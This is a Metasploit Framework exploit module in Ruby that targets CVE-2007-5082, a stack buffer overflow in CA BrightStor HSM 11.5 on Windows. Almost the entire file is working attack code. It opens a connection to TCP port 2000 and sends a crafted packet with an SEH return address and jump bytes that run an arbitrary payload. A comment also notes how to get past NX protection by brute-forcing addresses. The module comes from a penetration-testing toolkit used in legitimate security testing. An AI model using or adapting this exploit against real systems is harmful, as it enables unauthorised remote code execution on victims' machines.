metasploit-framework/modules/exploits/windows/brightstor/hsmserver.rb

76 lines
2.0 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'CA BrightStor HSM Buffer Overflow',
'Description' => %q{
This module exploits one of the multiple stack buffer overflows in Computer Associates BrightStor HSM.
By sending a specially crafted request, an attacker could overflow the buffer and execute arbitrary code.
},
'Author' => [ 'toto' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2007-5082' ],
[ 'OSVDB', '41363' ],
[ 'BID', '25823' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1026,
'BadChars' => "\x00\x0a\x0d;",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
# NX can be bypassed by bruteforcing ntdll addresses as the process is restarted
# pop/pop/ret in fpparser.dll (old from 2004)
[ 'BrightStor HSM 11.5 Windows All', { 'Ret' => 0x12014c78 } ],
],
'DisclosureDate' => 'Sep 27 2007',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(2000)
])
end
def exploit
connect
data =
[42,7,0,0].pack('VVVV') +
payload.encoded +
"\xeb\x06" +
Rex::Text.rand_text_alphanumeric(2) +
[ target.ret ].pack('V') +
"\xe9\xf1\xfb\xff\xff" +
Rex::Text.rand_text_alphanumeric(0x100)
sploit = [data.length + 4].pack('V') + data
print_status("Trying target #{target.name}...")
sock.put(sploit)
handler
disconnect
end
end